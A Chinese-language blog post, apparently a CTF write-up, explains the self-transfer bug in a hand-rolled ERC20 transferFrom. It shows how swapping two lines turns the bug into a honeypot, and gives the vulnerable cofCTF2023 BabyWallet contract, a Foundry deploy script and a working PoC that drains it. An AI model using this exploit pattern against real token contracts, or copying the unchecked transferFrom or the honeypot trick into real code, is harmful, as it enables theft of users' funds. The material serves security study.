{"author":{"address":"0x468FA4c23c94012bf170207210d26E02a8a268bf","user":"https://learnblockchain.cn/people/16222"},"content":{"body":"有些 CTF 题目中，并未使用  OpenZeppelin 等合约安全库，而是自己写的 ERC20 合约，其中未对 transferFrom 传入的参数进行检测是一个很严重的问题。\r\n\r\n### 风险\r\n\r\n我们来看一段不安全的代码：\r\n\r\n```solidity\r\nfunction transferFrom(address from, address to, uint256 amt) public {\r\n\tuint256 allowedAmt = allowances[from][msg.sender];\r\n\tuint256 fromBalance = balances[from];\r\n\tuint256 toBalance = balances[to];\r\n\r\n\trequire(fromBalance \u003e= amt, \"You can't transfer that much\");\r\n\trequire(allowedAmt \u003e= amt, \"You don't have approval for that amount\");\r\n\r\n\tbalances[from] = fromBalance - amt;\r\n\tbalances[to] = toBalance + amt;\r\n\tallowances[from][msg.sender] = allowedAmt - amt;\r\n}\r\n```\r\n\r\n首先检测 `to`地址是否 被 `from` 地址授权足够的金额，以及 `from`地址的余额是否大于要取出的金额。\r\n\r\n接着，`from`地址的 balance 减少，`to`地址的 balance 增加，最后，减少 `from`地址对`to`地址的授权额度。\r\n\r\n看起来这段代码并没有什么问题对吧？\r\n\r\n**但是，当 `from == to`时，发生了一些意想不到的问题：**\r\n\r\n前面的逻辑并没有什么问题，问题出现在了第 10 行。\r\n\r\n我们首先将 `from`和`to`统一称为`attack_addr`。在第 9 行中，我们将 `attack_addr`的 balance 修改为 `fromBalance - amt`。这里没问题，而接下来在第 10 行中，我们将 `attack_addr`的 balance 再修改为`toBalance + amt`，而`fromBalance == to Balance == attack_addr 初始余额`，对第 9 行中的对`attack_addr`的修改进行了覆盖，**这样，我们实现了增加我们 `attack_addr`的余额，实际增加的金额为我们传递的 `amt`参数。**\r\n\r\n**接下来我们发散一下：**\r\n\r\n如果上述代码的第 9，10 行的顺序进行颠倒，会发生什么呢？\r\n\r\n**答案是：这个合约将变成一个蜜罐合约。**\r\n\r\n### 蜜罐\r\n\r\n我们来分析一下颠倒顺序的代码：\r\n\r\n```solidity\r\nfunction transferFrom(address from, address to, uint256 amt) public {\r\n\tuint256 allowedAmt = allowances[from][msg.sender];\r\n\tuint256 fromBalance = balances[from];\r\n\tuint256 toBalance = balances[to];\r\n\r\n\trequire(fromBalance \u003e= amt, \"You can't transfer that much\");\r\n\trequire(allowedAmt \u003e= amt, \"You don't have approval for that amount\");\r\n\r\n\tbalances[to] = toBalance + amt;\r\n\tbalances[from] = fromBalance - amt;\r\n\tallowances[from][msg.sender] = allowedAmt - amt;\r\n}\r\n```\r\n\r\n**当 `from == to`时，发生了一些意想不到的问题：**\r\n\r\n同样，我们将 `from`和`to`统一称为`attack_addr`。在第 9 行中，我们将 `attack_addr`的 balance 修改为 `toBalance + amt`增加了`attack_addr`地址的余额。在第 10 行中，我们将 `attack_addr`的 balance 再修改为`fromBalance - amt`，而`fromBalance == to Balance == attack_addr 初始余额`，第 10 行的修改覆盖率第 9 行的修改，**我们成功减少了 `attack_addr`的余额，这样，攻击者的攻击资金被锁在了我们的蜜罐中。**\r\n\r\n### 不安全的 ERC20 合约案例\r\n\r\n来源：cofCTF2023 BabyWallet（可以使用 Foundry 在本地进行测试）\r\n\r\n源码：\r\n\r\n```solidity\r\npragma solidity ^0.8.17;\r\n\r\n// BabyWallet.sol\r\ncontract BabyWallet {\r\n    mapping(address =\u003e uint256) public balances;\r\n    mapping(address =\u003e mapping(address =\u003e uint256)) public allowances;\r\n\r\n    function deposit() public payable {\r\n        balances[msg.sender] += msg.value;\r\n    }\r\n\r\n    function withdraw(uint256 amt) public {\r\n        require(balances[msg.sender] \u003e= amt, \"You can't withdraw that much\");\r\n        balances[msg.sender] -= amt;\r\n        (bool success,) = msg.sender.call{value: amt}(\"\");\r\n        require(success, \"Failed to withdraw that amount\");\r\n    }\r\n\r\n    function approve(address recipient, uint256 amt) public {\r\n        allowances[msg.sender][recipient] += amt;\r\n    }\r\n\r\n    function transfer(address recipient, uint256 amt) public {\r\n        require(balances[msg.sender] \u003e= amt, \"You can't transfer that much\");\r\n        balances[msg.sender] -= amt;\r\n        balances[recipient] += amt;\r\n    }\r\n\r\n    function transferFrom(address from, address to, uint256 amt) public {\r\n        uint256 allowedAmt = allowances[from][msg.sender];\r\n        uint256 fromBalance = balances[from];\r\n        uint256 toBalance = balances[to];\r\n\r\n        require(fromBalance \u003e= amt, \"You can't transfer that much\");\r\n        require(allowedAmt \u003e= amt, \"You don't have approval for that amount\");\r\n\r\n        balances[from] = fromBalance - amt;\r\n        balances[to] = toBalance + amt;\r\n        allowances[from][msg.sender] = allowedAmt - amt;\r\n    }\r\n\r\n    fallback() external payable {}\r\n    receive() external payable {}\r\n}\r\n\r\n// Setup.sol\r\n\r\ncontract Setup {\r\n    BabyWallet public wallet;\r\n\r\n    constructor() payable {\r\n        require(msg.value == 100 ether, \"requires 100 ether\");\r\n        wallet = new BabyWallet();\r\n        payable(address(wallet)).transfer(msg.value);\r\n    }\r\n\r\n    function isSolved() public view returns (bool) {\r\n        return address(wallet).balance == 0 ether;\r\n    }\r\n}\r\n\r\n```\r\n\r\nFoundry 部署脚本：\r\n\r\n```solidity\r\n// SPDX-License-Identifier: SEE LICENSE IN LICENSE\r\npragma solidity ^0.8.0;\r\n\r\nimport {Setup} from \"../src/Setup.sol\";\r\nimport {Script, console2} from \"forge-std/Script.sol\";\r\n\r\ncontract Deploy is Script {\r\n    Setup target;\r\n\r\n    function run() external {\r\n        vm.startBroadcast();\r\n        target = new Setup{value: 100 ether}();\r\n        vm.stopBroadcast();\r\n        console2.log(\"setUp address:\", address(target));\r\n    }\r\n}\r\n```\r\n\r\nPoC：\r\n\r\n```solidity\r\n// SPDX-License-Identifier: SEE LICENSE IN LICENSE\r\npragma solidity ^0.8.0;\r\n\r\nimport {BabyWallet} from \"../src/BabyWallet.sol\";\r\nimport {Setup} from \"../src/Setup.sol\";\r\nimport {Script, console2} from \"forge-std/Script.sol\";\r\n\r\ncontract Hack {\r\n    Setup setup;\r\n    BabyWallet wallet;\r\n\r\n    constructor(address _setUp) payable {\r\n        setup = Setup(_setUp);\r\n        wallet = setup.wallet();\r\n        wallet.deposit{value: msg.value}();\r\n    }\r\n\r\n    function pwn() external {\r\n        wallet.approve(address(this), 100 ether);\r\n        wallet.transferFrom(address(this), address(this), 100 ether);\r\n        wallet.transfer(msg.sender, wallet.balances(address(this)));\r\n    }\r\n}\r\n\r\ncontract Attack is Script {\r\n    function run() external {\r\n        Setup setup = Setup(0xA15BB66138824a1c7167f5E85b957d04Dd34E468);\r\n\r\n        vm.startBroadcast();\r\n        Hack hack = new Hack{value: 100 ether}(0xA15BB66138824a1c7167f5E85b957d04Dd34E468);\r\n        hack.pwn();\r\n        setup.wallet().withdraw(200 ether);\r\n        vm.stopBroadcast();\r\n\r\n        require(setup.isSolved(), \"hack failed\");\r\n    }\r\n}\r\n\r\n```","title":"不标准的 ERC-20：未经检测的 transferFrom 参数"},"history":null,"timestamp":1725363414,"version":1}